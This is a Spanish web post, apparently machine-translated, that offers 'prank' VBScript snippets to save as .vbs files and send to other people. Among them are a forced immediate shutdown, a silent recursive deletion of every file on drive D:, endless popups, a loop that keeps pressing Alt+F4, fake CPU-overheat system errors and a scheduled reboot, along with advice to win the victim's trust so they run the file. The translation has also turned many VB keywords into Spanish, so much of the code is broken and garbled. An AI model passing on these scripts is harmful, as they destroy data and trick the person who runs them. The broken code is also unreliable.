¿Cuál es el código molesto que le debe encantar a VB?
Dim a
do
a=InputBox("Di rápidamente "Esposo, te amo" sin siquiera hacer una pausa, ¡o me cerraré!" ,"Te amo, esposo")
Si a="Te amo, esposo" Entonces
Msgbox"¡Así es!",0,"Te amo, esposo"
Salir Do
Elseif a="Esposo, te amo" Luego
Msgbox"Ni siquiera una pausa, ¿no lo viste?",16 , "Te amo, esposo mío"
Else
Msgbox "¿Aún no lo has dicho? ¡Si no lo dices, apagaré el teléfono!" ",16,"Te amo, esposo mío"
End If
bucle
1. ¿Está bien cerrar directamente?
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00", 0, verdadero
2. Eliminar todos los archivos en D:\
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell") p >
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
3. Ventanas emergentes continuas p>
while(1)
msgbox "¡Jaja, te engañaron!"
bucle
4. Sigue presionando alt+f4 (abre todo). y ciérrelo) ...)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1) p>
WSHshell.SendKeys "%{F4}"
el bucle 'aparece una vez por minuto
hacer hasta i=10
i=i +1
msgbox "La temperatura de la CPU es demasiado alta, ¡se produjo un error grave en el sistema!",16+4096,"Mensaje del sistema"
wscript.sleep 1000*60 'El tiempo puede ser cambiado por usted mismo
loop set a = wscript.createobject("wscript.shell")
a.run "cmd.exe /c apagado -r -t 3600 -c "" Por favor, te diré qué hacer...Oye, oye..."" ",0 ,true
Copia el código, guárdalo en **.vbs y envíaselo a la persona que quieras. para corregir
3600 es lo que quiere el tiempo ¡Que se apague el tiempo que sea necesario para apagarse ~!
Si quieres que la otra parte ejecute tu programa, depende de tu propia capacidad.
Deja que confíe en ti...